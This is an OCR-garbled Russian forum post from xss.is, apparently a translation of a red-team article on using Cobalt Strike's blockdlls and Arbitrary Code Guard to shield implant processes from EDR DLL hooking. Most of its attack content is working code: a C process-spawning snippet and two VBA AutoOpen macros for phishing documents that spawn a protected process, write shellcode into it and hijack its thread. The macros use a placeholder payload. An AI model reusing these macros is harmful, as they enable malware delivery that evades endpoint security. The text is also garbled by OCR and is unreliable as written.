CrtaTbsa 3awuTa Bawero BpegoHocHoro MO ¢ nomouwbo
blockdlls u ACG

& xss.is/threads/42539

B o6uoBennu Cobalt Strike 6p11a BBeziena komania blockdlls, uto6b1 mpeocTaBUTH
oIepaTopaM BO3MOIKHOCTbH 3aIl[UTHI IIOPOKAEHHBIX IIPOIIECCOB OT 3arpy3KH 6ubsmorexk DLL, He
nmoAnrcaHHbIX Microsoft. 3To, KOHEUHO, MeTO/1 OJIOKUPOBKHU IIPOJIYKTOB 00ecieYeHUsI
0€e30ITaCHOCTH OT 3aTPY3KH UX KO/Ia MOJIb30BATEIHCKOTO pexknMa yepe3 DLL ¢ mespio XyKuHTa 1
CO3/JaHUS OTUYETOB O BBHITIOJITHEHUH ITOJO3PUTETbHBIX (DYHKITHH.

[Tocste HECKOJIBKUX OOCYKAEHU U TBUTOB, IIOCBSIIIEHHBIX TOMY, KaK 3TO Pealn30BaHO, MHE
3a/1aJT1 HECKOJIBKO JIOTIOJTHUTEJIBHBIX BOIIPOCOB JIIOIU, KOTOPBIE XOTEJIU UCII0JIH30BATh 3TO
caMocTosATebHO 3a npezesiamu Cobalt Strike, mosToMy B 3TOM 1OCTE 51 HEMHOTO HCCJIETYIO BTY
(GYHKIIMOHATLHOCTB, ITOKa3aB, kKak nMeHHO blockdlls paboTaeT moy karmoTom, Kak Bbl MOXKETE
HCII0JIH30BATh €T0 JIJIS 3aIlIUThI CBOEro BpeoHOCHOTO I10, U MOCMOTpPHUTE Ha TOMOJTHUTETbHBIN
mapaMmeTtp 6e30TacHOCTH MPOIecca, KOTOPBIH MOKeT IIOMOYb HaM C/I€PKATh IPOAYKTHI
0e301IacHOCTH OT TAKOTO JIETKOTO MTPOCITYIITUBAHUS.

Bayrpennee ycrpoiictBo blockdlls

blockdlls 6su1 BeITIyTIIEH € Bepcueit 3.14 Cobalt Strike u ncmonb3yercs 715 3aIUTHI JTIOOBIX
JIOYEPHUX MPOIIECCOB, MTOPOXKIEHHBIX beacon, oT 3arpy3ku 6ubmnoTek DLL, He moimrcaHHBIX
Microsoft. YTo6b!I HCIIOIB30BATh 3TY GYHKIIMOHAIBHOCTH, MBI IIPOCTO MCIIOIb3YeM KOMaH/LY
blockdlls B akTBHOM ceaHce ¥ TOPOKAaEM JOYEPHUH ITpoliece (Hampumep, ¢ IIOMOIIIHIO
KOMAaH/IbI Spawn):

o0 @ Cobalt Strike )
Cobalt Strike View Attacks Reporting Help
O8O EH=¢ 8FLLU FTwBEEHL,a B G
external internal = user computer note pid last
I .20 08 ' ) OF 844 1

-

Event Log X | Beacon 172.16.207.198@9844 ){|

beacon> blockdlls
[#] Tasked beacon to block non-Microsoft binaries in child processes



https://xss.is/threads/42539/

ITocsie Toro, Kak HaIII JIOUEPHUH ITPOIece OB TOPOXK/IEH, MbI MOKEM YBHUJIETH
Pe3yJIbTUPYIOINIYIO 3aIUTy B 4eM-To Bpojie ProcessHacker:

] rundli32.exe (6932) Properties — O X

General Statistics Performance Threads Token Modules Memory Environment Handles GPU  Comment
File
| j Windows host process (Rundll32)

(Verified) Microsoft Windows
Version: 10.0.18362.1

Image file name:

‘ C:\Windows\SysWOW64\rundll32.exe ‘ Q =
Process

Command line: ‘ C:\WINDOWS\syswowb4\rundll32.exe ‘ Q
Current directory: ‘ C:\Users\xpn\Desktop\ ‘
Started: ‘ 14 seconds ago (22:09:56 25/10/2019) ‘
PEB address: | 0x2b8c000 (32-bit: 0x2b8d000) | Image type: 32-bit
Parent: ‘ beacon.exe (268) ‘ Q
Mitigation policies: ‘ ASLR; CF Guardj Signatures restricted (Microsoft only) ‘ Details

Protection: None Permissions Terminate

C ycraHoByieHHBIM diaroM 3aniuThl, ecyii DLL, koTopas He 6bu1a nognucana Microsoft,
MOTIBITAETCS 3aTPY3UTH B IIPOIIECC, MBI 0OHAPYKUM, YTO 3TO HE yJJACTCsA, HHOT/IA C KPACHBOM
OAPOOHOM OMHMOKOM, TAKOU KaK:

CIGTest.exe - Bad Image X

C:\Users\xpn\Desktop\test.dll is either not designed to run on

@ Windows or it contains an error. Try installing the program again
using the original installation media or contact your system
administrator or the software vendor for support. Error status
0xc0000428.

oK




Tak kak sxe Cobalt Strike peanusyer sty dpyHKnuo? UTo 3K, €CTH MBI HCCJIETyeM IBOMUYHBIN
daiin CS beacon, mbl yBuaum cebiky Ha UpdateProcThreadAttribute:

undefined4  cdecl FUN 10008a0f(int param 1,undefined4 param 2, LFPROC THREAD ATTRIBUTE LIST param_ 3)

BOOL BVarl;

DWORD DVar?2;
undefined4 uvar3;
UINT UVar4;

* (undefined4 *) (param 1 + 8) = 0;
* (undefined4 *) (param 1 + Oxc) = 0x1000;
BVarl = UpdateProcThreadAttribute
(param 3,0, 0x20007, (undefined4 *) (param 1 + 8),8, (PVOID)0x0, (PSIZE T)0x0);

[Tapametp aTpubyTa 0X20007 HAKTHIECKH ITPe0OPA3YETCs B ONIPE/IeIEHIE

PROC_THREAD ATTRIBUTE_MITIGATION_ POLICY, a 3HaueHHEe 0X100000000000

npeoOpasyeTcs B
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON.
Taxkum obpazom, Cobalt Strike 31ech ucrosbsyer Bo130B API CreateProcess Bmecte co

crpykrypoit STARTUPINFOEX, comeprkaiieii MOIUTHKY O€30IIacHOCTH, KOTOpasi, B IAaHHOM

cJIydae, UCIOJIb3yeTcs /i 6okupoBku DLL, He moamucanubix Microsoft.

Ecam MbI XOTUM BOCCO37IaTh 5TO B HAIIIUX COOCTBEHHBIX mesiAax, Mbl MOXKEM IIPOCTO
HCII0JIb30BaTh TAKOH KO/J, KaK:

C:



#tinclude <Windows.h>

int main()

{
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE T size = 0;
BOOL ret;

// Required for a STARTUPINFOEXA

ZeroMemory (&si, sizeof(si));

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;

// Get the size of our PROC_THREAD_ATTRIBUTE_LIST to be allocated
InitializeProcThreadAttributelList(NULL, 1, O, &size);

// Allocate memory for PROC_THREAD_ATTRIBUTE_LIST
si.lpAttributelList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
0,
size

);

// Initialise our list
InitializeProcThreadAttributelList(si.lpAttributelList, 1, 0, &size);

// Enable blocking of non-Microsoft signed DLLs
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;

// Assign our attribute
UpdateProcThreadAttribute(si.lpAttributeList, @, PROC_THREAD ATTRIBUTE_MITIGATION POLICY,
&policy, sizeof(policy), NULL, NULL);

// Finally, create the process

ret = CreateProcessA(
NULL,
(LPSTR)"C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
true,
EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&si),
&pi

)

IIpeonosenue paspbiBa me:xkay blockdlls



Hrak, Teneps MblI 3HaeM, kak Cobalt Strike obecrieurBaeT cBOIO 3alIUTY, HO BO BpEMsI
TUITUYHOTO B3aNMO/IEHCTBUS BCE €Ille OCTAeTCsI OpeIhb, B KOTOPOH Mpou3BobHble DLL MoryT
cOUTB HAC C TOJIKY. /[aBaiiTe HOCMOTPUM Ha PaCIpOCTPAHEHHBIN CIleHapUi (QUIITUHTA, KOT/Ia MbI
mbpITaeMcsi 1octaBUTh beacon Cobalt Strike uepes TOKyMeHT ¢ 1MO//1ep>KKOH MaKpPOCOB:

P
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Spawned Process

KpacHbIM IBETOM MBI BUAUM IIPOIECCHI, KOTOPBIE He MOIb3yIoTces 3amuTon blockdll, Torma kak
CHHHUM IIBETOM MbI BUJIM, YTO KaK/IbIM IOUEPHUH IpoI1iecc, mopoxkaeHHbid Cobalt Strike,
3aIUINEH MOJTUTHKON 3aIUThI. PUCK U HAC 3/1eCh, OUEBHHO, 3aKIIOYUAETCA B TOM, YTO
MPOAYKT O€30IMaCHOCTH MOXKET 3aTPy3UTh CBOI0 DLL B HAIll HEpeHeCEeHHBIH MpoIiece
(mokasaHHBIN 371ech Kak Internet Explorer) u mpocMOTpeTh HAIIly aKTHBHOCTD.

O/1HAaKO BOCIIOJTHUTD 3TOT ITPOOEJI OTHOCUTEIHHO MTPOCTO, HCIIOJIB3YS TPUBEAEHHBIA BBIIIIE KOJT

BMECTE C ITapaMeTpOM
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON.
[TockoJsbKy MBI 00CY?K/Ta€M HAIITy Ha4aJIbHYIO ITOJIE3HYIO0 HATPY3KY B KOHTEKCTE JOKyMEeHTa

Word, naBaiiTe Bocmosb3yeMcsi BO3MOXKHOCTBIO IIEPEHECTH 3TOT KoJT Ha VBA:

JavaScript:



POC to spawn process with
PROCESS_CREATION MITIGATION_POLICY BLOCK_NON_MICROSOFT_BINARIES ALWAYS ON mitigation enabled

" by @_xpn_
' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-
office-macro

Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&

Const SW_HIDE = &HO&

Const MAX_PATH = 260

Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007
Const MAXIMUM_SUPPORTED_EXTENSION = 512
Const SIZE_OF_80387_REGISTERS = 80

Const MEM_COMMIT = &H1000

Const MEM_RESERVE = &H2000

Const PAGE_READWRITE = &H4

Const PAGE_EXECUTE_READWRITE = &H40

Const CONTEXT_FULL = &H10007

Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long

End Type

Private Type STARTUP_INFO
cb As Long
lpReserved As String
lpDesktop As String
1pTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
1pReserved2 As Byte
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr

End Type

Private Type STARTUPINFOEX
STARTUPINFO As STARTUP_INFO
lpAttributelist As LongPtr

End Type



Private Type DWORD64
dwPartl As Long
dwPart2 As Long

End Type

Private Type FLOATING_SAVE_AREA
ControllWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte
Spare@ As Long

End Type

Private Type CONTEXT
ContextFlags As Long
Dre As Long
Drl As Long
Dr2 As Long
Dr3 As Long
Dré As Long
Dr7 As Long
FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte

End Type

Private Declare PtrSafe Function CreateProcess Lib "kernel32.dl1l" Alias "CreateProcessA" ( _

ByVal lpApplicationName As String, _
ByVal lpCommandLine As String,
lpProcessAttributes As Long, _
lpThreadAttributes As Long, _
ByVal bInheritHandles As Long,
ByVal dwCreationFlags As Long,
1pEnvironment As Any,



ByVal lpCurrentDriectory As String, _

ByVal lpStartupInfo As LongPtr, _

1lpProcessInformation As PROCESS_INFORMATION _
) As Long

Private Declare PtrSafe Function InitializeProcThreadAttributelList Lib "kernel32.d11" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwAttributeCount As Integer, _
ByVal dwFlags As Integer, _
ByRef 1pSize As Integer _
) As Boolean

Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.d11" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwFlags As Integer, _
ByVal lpAttribute As Long, _
ByVal 1lpValue As LongPtr, _
ByVal cbSize As Integer, _
ByRef lpPreviousValue As Integer, _
ByRef lpReturnSize As Integer _
) As Boolean

Private Declare Function WriteProcessMemory Lib "kernel32.d11" ( _
ByVal hProcess As LongPtr, _
ByVal lpBaseAddress As Long, _
ByRef lpBuffer As Any, _
ByvVal nSize As Long, _
ByVal 1lpNumberOfBytesWritten As Long _
) As Boolean

Private Declare Function ResumeThread Lib "kernel32.d11" (ByVal hThread As LongPtr) As Long

Private Declare PtrSafe Function GetThreadContext Lib "kernel32.d11" ( _
ByVal hThread As Long, _
lpContext As CONTEXT _

) As Long

Private Declare Function SetThreadContext Lib "kernel32.d11" ( _
ByVal hThread As Long, _
lpContext As CONTEXT _

) As Long

Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
ByVal hHeap As LongPtr, _
ByVal dwFlags As Long, _
ByVal dwBytes As Long _

) As LongPtr

Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.d11" () As LongPtr
Private Declare Function VirtualAllocEx Lib "kernel32" ( _

ByVal hProcess As Long, _
ByVal lpAddress As Long, _



ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long _

) As Long

Sub AutoOpen()

Dim pi As PROCESS_INFORMATION
Dim si As STARTUPINFOEX

Dim nullStr As String

Dim pid, result As Integer

Dim threadAttribSize As Integer
Dim processPath As String

Dim val As DWORD64

Dim ctx As CONTEXT

Dim alloc As Long

Dim shellcode As Variant

Dim myByte As Long

' Shellcode goes here (jmp $)
shellcode = Array(&HEB, &HFE)
' Path of process to spawn

processPath = "C:\\windows\\system32\\notepad.exe"

' Specifies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
val.dwPartl 0
val.dwPart2 = &H1000

Initialize process attribute list

result = InitializeProcThreadAttributelList(ByVal @&, 1, 0, threadAttribSize)
si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
result = InitializeProcThreadAttributelist(si.lpAttributelist, 1, 0, threadAttribSize)

' Set our mitigation policy

result = UpdateProcThreadAttribute( _
si.lpAttributelist, _
0, _
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, _
VarPtr(val), _
Len(val), _
ByVal 0&, _
ByVal 0& _

)

si.STARTUPINFO.cb = LenB(si)
si.STARTUPINFO.dwFlags = 1

' Spawn our process which will only allow MS signed DLL's
result = CreateProcess( _

nullStr, _

processPath, _

ByVal 0&, _



Byval 0&, _
1&, _
&HB80014, _
ByVal 0&, _
nullStr, _
VarPtr(si), _
pi _

' Alloc memory (RWX for this POC, because...

alloc = VirtualAllocEx( _
pi.hProcess, _
0, _
11000, _
MEM_COMMIT + MEM_RESERVE, _
PAGE_EXECUTE_READWRITE _

Write our shellcode
For offset
myByte

shellcode(offset)

yolo) in process to write our shellcode to

LBound(shellcode) To UBound(shellcode)

result = WriteProcessMemory(pi.hProcess, alloc + offset, myByte, 1, ByVal 0&)

Next offset

ctx.ContextFlags = CONTEXT_FULL

result = GetThreadContext(pi.hThread, ctx)

ctx.Eip = alloc

result = SetThreadContext(pi.hThread, ctx)

Resume execution
ResumeThread (pi.hThread)

End Sub

Point EIP register to allocated memory

HpI/I MIpaBUJIbHOM HCIIOJIb3BOBAHUH Mbl BUAUM, YTO MOXKE€M CHHU3UTDH HAIIIK IITAHCBHI

O6Hap}7)K€HI/IH C IIOMOIIIbIO MHCTPYMEHTAPpUA DLL, OI'PaHHUYUB JOCTYII TOJIbKO HAYaJIbHBIM

BEKTOPOM BBITIOJITHEHU A
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Tak uTo Hacuet 3TOTO Mpoitecca Word, moMmeueHHBIM KpacHbIM? YTO 3K, €CTh CITOCOOBI 3aIUTUTD
3TO, HAIIPUMeEP, MBI MOXKEM IIPOCTO BI3BaTh SetMitigationPolicy BmecTe ¢
ProcessSignaturePolicy B kauecTBe mapamerpa, ¥ 3TO IPEACTABUT HAIITy ITOJTUTHKY
0€e30ITaCHOCTH BO BpPeMsI BBITIOJIHEHUS, TO €CTh O€3 HEOOXOITMMOCTH IIOBTOPHOTO BHITIOJTHEHUS
yepe3 CreateProcess. O/iHaKO BIIOJTHE BEPOATHO, YTO K ATOMY MOMEHTY JIIOObIE HEXKeJIaTeJIbHBIE
DLL y»xe Gy1yT IpHUCYTCTBOBATh B aJ[pecHOM mpocTpaHcTBe Word errie /10 3ammycka Hairero VBA,
U IIOIBITKY JTAJIbHEUIIIer0 MaHUIYJIUPOBAHUSA IIPOIIECCOM U 3aIlycKa HECKOJIBKO
MTO/IO3PUTETHHBIX BEI30BOB API MOTyT (haKTHUECKU YBEJTMYUTD HAIIIH IMAHCHI OOHAPYKEHHU .

3amura OT MPOU3BOJIHLHOIO KOJa

Ywuras 3T0, BBl MOXKeTe 3a71aThcsl BorpocoM o Arbitrary Code Guard (ACG). Ecu BbI He
caplmanu 00 3ToMm panbiie, ACG - 3T0 elle OJuH BapUAHT 3aIUThI, KOTOPHIU IMpeTHa3HAuUeH
JUTSI TIPEJIOTBPAIIleHUs BbIZIeJIEHUS KOJa U/ T U3MEHEHUS UCTIOTHAEMbIX CTPAHUIT TAMSATH,
YacTO HeOOXOUMBIX JIJIsl BHEAPEHU JUHAMHYECKOT0 KO/Ia B IIPOIIECC.



YUT0ObI YBUIETH ATy MOJIUTUKY 3AIUTHI B IEHCTBUH, TaBaWTe CO3/IaIUM HEOOJIBIITYIO IIPOTrpaMMy
U TIOIIbITaeMcsI MCII0JIb30BaTh SetMitigationPolicy st mobaBienuss ACG BMecTe ¢ HECKOJTbKUMU
TECTOBBIMU IIPUMEPaAMU:

C:



#include <iostream>
#include <Windows.h>
#include <processthreadsapi.h>

int main()

{
STARTUPINFOEX si;
DWORD oldProtection;

PROCESS_MITIGATION DYNAMIC CODE_POLICY policy;
ZeroMemory (&policy, sizeof(policy));
policy.ProhibitDynamicCode = 1;

void* mem = VirtualAlloc(®@, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (mem == NULL) {
printf("[!] Error allocating RWX memory\n");

}
else {

printf("[*] RWX memory allocated: %p\n", mem);
}

printf("[*] Now running SetProcessMitigationPolicy to apply
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY\n");

// Set our mitigation policy
if (SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &policy, sizeof(policy)) == false)

printf("[!] SetProcessMitigationPolicy failed\n");
return 0;

// Attempt to allocate RWX protected memory (this will fail)
mem = VirtualAlloc(@, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (mem == NULL) {

printf("[!] Error allocating RWX memory\n");

}
else {

printf("[*] RWX memory allocated: %p\n", mem);
}

void* ntAllocateVirtualMemory = GetProcAddress(LoadLibraryA("ntdll.d11"),
"NtAllocateVirtualMemory");

// Let's also try a VirtualProtect to see if we can update an existing page to RWX
if (!VirtualProtect(ntAllocateVirtualMemory, 4096, PAGE_EXECUTE_READWRITE, &oldProtection))

printf("[!] Error updating NtAllocateVirtualMemory [%p] memory to RWX\n",
ntAllocateVirtualMemory);
}
else {
printf("[*] NtAllocateVirtualMemory [%p] memory updated to RWX\n",



ntAllocateVirtualMemory);
}

Ecnu mbl ckomnuinpyeM U BBIIOJHUM 3TOT POC, MBI yBUZIMM UTO-TO BPOJie 3TOTO:

B ' C:\Users\xpn\source\repos\CIGTest\x64\Debug\CIGTest.exe

RWX memory allocated: ©00001D4AF27C0000 v

Now running SetProcessMitigationPolicy 1o JpplW P:ROC'E'SS'_MITIGATION_DYNAMIC_CODE_POLICY
Error allocating RWX memory LA ' u -

E

rror updating NtAllocateVirtualMemory [©@0@7FFD5887C3B@] memory to RWX

31ech Mbl BUJUM, UTO MONBITKU BbIZIeINTh RWX-cTpanuily naMATH Mocje TOro, Kak
SetProcessMitigationPolicy Tepniut Heyiauy, Kak 1 03KUAJI0Ch, HAPSY C MTOIBITKAMHU
HCII0JIb30BaTh TaKHeE BBI30OBHI, Kak VirtualProtect, koTopble mo3BoiuIu 661 MOAUGUIIPOBATH
3alUTy IaMATHU.

Tak 3auem nogHUMATH 3TOT BoIpoc? K coxkasnenuro, Mbel BuuM npuMepsl BHeZipeHus EDR DLL,
noanucanabie Microsoft, Hanipumep, @SektoryNet mokasan HaM, uto Crowdstrike Falcon

COZIeP>KUT OAHY TaKkylo DLL, Ha KOTOPYIO He BIIUsAET
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON:

Ho ogxa ob1as Belb, KOTOPYIO AeJIaloT

MHorue 1poaykTsl EDR, - 3T0 Mitigstion Policies x
peann3anua XyKoB II0JIb30BATEIbCKOIO [ pokcy ’

IIPOCTPAHCTBA BOKPYT UHTEPECYIOIIUX ASLR (high entropy)

dbynxnuit (cM. Hamn npezbiaymuii ocT o E;G;a:mmnﬂ

Cylance, KOTOpPBIH HCIIOJIb3yeT UMEHHO Signatures restricted (Micrasaft anly)

ATy TEXHUKY). [IOCKOIbKY Z7151 XyKHHTa

00BIYHO TpebyeTcsi BOBMOXKHOCTh

U3MEHATH CYIIECTBYIOINE UCIIOTTHAEMbIE _

CTPaHUIIBI JJ1s1 J0OABJIEHUS TPAMILINHA, Description:

. Image signature restrictions are enabled for this process.
Only Microzoft signatures are alowed.
Thiss is an opt-in restriction.

JIJ1s1 OOHOBJIEHUA 3aII[UTHI MAMATH
00BIYHO TpebyeTcsi BEI30B, TAKOU KaK
VirtualProtect. Ecitit MbI TUIIINM UX
BO3MOKHOCTH co3z1aBaTh RWX-
CTPaHUILIBI IAMATH, Mbl MOKEM BbI3BATh [I|
cOoi gaxke nopnucanHou Microsoft DLL.

YToObI peasTn30BaTh 3TO B Ha1leM nmpuMmepe VBA, Bce, YTO HaM HY?KHO JJOOABUTB, - 3TO
JIOTIOJTHUTEJILHBIN ITapaMeTp 3aIUThI
PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON,

YTOOBI BKJIIOUHUTH ITY 3aIUTY:



JavaScript:



' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON
and PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled

" by @_xpn_
' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-
office-macro

Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&

Const SW_HIDE = &HO&

Const MAX_PATH = 260

Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007
Const MAXIMUM_SUPPORTED_EXTENSION = 512
Const SIZE_OF_80387_REGISTERS = 80

Const MEM_COMMIT = &H1000

Const MEM_RESERVE = &H2000

Const PAGE_READWRITE = &H4

Const PAGE_EXECUTE_READWRITE = &H40

Const CONTEXT_FULL = &H10007

Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long

End Type

Private Type STARTUP_INFO
cb As Long
1pReserved As String
lpDesktop As String
1pTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
1pReserved2 As Byte
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr

End Type

Private Type STARTUPINFOEX
STARTUPINFO As STARTUP_INFO
lpAttributelist As LongPtr

End Type



Private Type DWORD64
dwPartl As Long
dwPart2 As Long

End Type

Private Type FLOATING_SAVE_AREA
ControllWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte
Spare@ As Long

End Type

Private Type CONTEXT
ContextFlags As Long
Dre As Long
Drl As Long
Dr2 As Long
Dr3 As Long
Dré As Long
Dr7 As Long
FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte

End Type

Private Declare PtrSafe Function CreateProcess Lib "kernel32.dl1l" Alias "CreateProcessA" ( _

ByVal lpApplicationName As String, _
ByVal lpCommandLine As String,
1lpProcessAttributes As Long, _
lpThreadAttributes As Long, _
ByVal bInheritHandles As Long,
ByVal dwCreationFlags As Long,
1lpEnvironment As Any,



ByVal lpCurrentDriectory As String, _

ByVal lpStartupInfo As LongPtr, _

1lpProcessInformation As PROCESS_INFORMATION _
) As Long

Private Declare PtrSafe Function InitializeProcThreadAttributelList Lib "kernel32.d11" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwAttributeCount As Integer, _
ByVal dwFlags As Integer, _
ByRef 1pSize As Integer _
) As Boolean

Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.d11" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwFlags As Integer, _
ByVal lpAttribute As Long, _
ByVal 1lpValue As LongPtr, _
ByVal cbSize As Integer, _
ByRef lpPreviousValue As Integer, _
ByRef lpReturnSize As Integer _
) As Boolean

Private Declare Function WriteProcessMemory Lib "kernel32.d11" ( _
ByVal hProcess As LongPtr, _
ByVal lpBaseAddress As Long, _
ByRef lpBuffer As Any, _
ByvVal nSize As Long, _
ByVal 1lpNumberOfBytesWritten As Long _
) As Boolean

Private Declare Function ResumeThread Lib "kernel32.d11" (ByVal hThread As LongPtr) As Long

Private Declare PtrSafe Function GetThreadContext Lib "kernel32.d11" ( _
ByVal hThread As Long, _
lpContext As CONTEXT _

) As Long

Private Declare Function SetThreadContext Lib "kernel32.d11" ( _
ByVal hThread As Long, _
lpContext As CONTEXT _

) As Long

Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
ByVal hHeap As LongPtr, _
ByVal dwFlags As Long, _
ByVal dwBytes As Long _

) As LongPtr

Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.d11" () As LongPtr
Private Declare Function VirtualAllocEx Lib "kernel32" ( _

ByVal hProcess As Long, _
ByVal lpAddress As Long, _



ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long _

) As Long

Sub AutoOpen()

Dim pi As PROCESS_INFORMATION
Dim si As STARTUPINFOEX

Dim nullStr As String

Dim pid, result As Integer

Dim threadAttribSize As Integer
Dim processPath As String

Dim val As DWORD64

Dim ctx As CONTEXT

Dim alloc As Long

Dim shellcode As Variant

Dim myByte As Long

' Shellcode goes here (jmp $)
shellcode = Array(&HEB, &HFE)
' Path of process to spawn

processPath = "C:\\windows\\system32\\notepad.exe"
' Initialize process attribute list

result = InitializeProcThreadAttributelist(ByVval 0&, 1, 0, threadAttribSize)
si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
result = InitializeProcThreadAttributelList(si.lpAttributelist, 1, @, threadAttribSize)

' Specifies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
' and PROCESS_CREATION_MITIGATION POLICY PROHIBIT DYNAMIC_CODE_ALWAYS_ ON
val.dwPartl = ©
val.dwPart2 = &H1010
' Set our mitigation policy
result = UpdateProcThreadAttribute( _
si.lpAttributelist, _
9, _
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, _
VarPtr(val), _
Len(val), _
Byval 0&, _
ByVal 0& _
)

si.STARTUPINFO.cb = LenB(si)
si.STARTUPINFO.dwFlags = 1
' Spawn our process which will only allow MS signed DLL's and disallow dynamic code
result = CreateProcess( _

nullstr, _

processPath, _



Byval 0&, _
ByVal 0&, _
1&, _
&H80014, _
Byval o0&, _
nullStr, _
VarPtr(si), _

pi _

' Alloc memory (RWX for this POC, as this isn't blocked from alloc outside the process (and
. yolo)) in process to write our shellcode to
alloc = VirtualAllocEx( _
pi.hProcess, _
0, _
11000, _
MEM_COMMIT + MEM_RESERVE, _
PAGE_EXECUTE_READWRITE _

Write our shellcode
For Offset = LBound(shellcode) To UBound(shellcode)

myByte = shellcode(Offset)

result = WriteProcessMemory(pi.hProcess, alloc + Offset, myByte, 1, ByVal 0&)
Next Offset

Point EIP register to allocated memory
ctx.ContextFlags = CONTEXT_FULL

result = GetThreadContext(pi.hThread, ctx)
ctx.Eip = alloc

result = SetThreadContext(pi.hThread, ctx)

Resume execution
ResumeThread (pi.hThread)

End Sub

Tak 4TO 3TO OTJIMYHO MOJIXO/IUT JIJIS 3alIUThI IOPOK/IaeMbIX HAMU MPOIIECCOB, HO KaK HACYeT
TOTO, YTOOBI BHEJPUTH YACTh HAIIIETO KO/Ia B IIPOIECC, KOTOPBIH y2Ke 3aIUIIEeH ¢ TOMOIIIO
ACG? {1 cipimas pacrpocTpaHeHHOe 3a0J1yKieHre, YTO Mbl HE MOKEM BHEJPUTH KO/ B
nporiecc, 3anuineHHbid Arbitrary Code Guard, a Takke Ham TpeOyeTcst HekoTopast ¢popma
MMaMsATH, KOTopasi Ob11a ObI OCTYITHA TSI 3ancy U BbinosiHeHUs. Ho Ha camom aeste ACG He
OJIOKHpYeT BOBMOXKHOCTbH YZJAJIEHHBIX ITPOIIECCOB BBI3bIBATH TAKYI0 QYHKITUIO, KAaK
VirtualAllocEx.

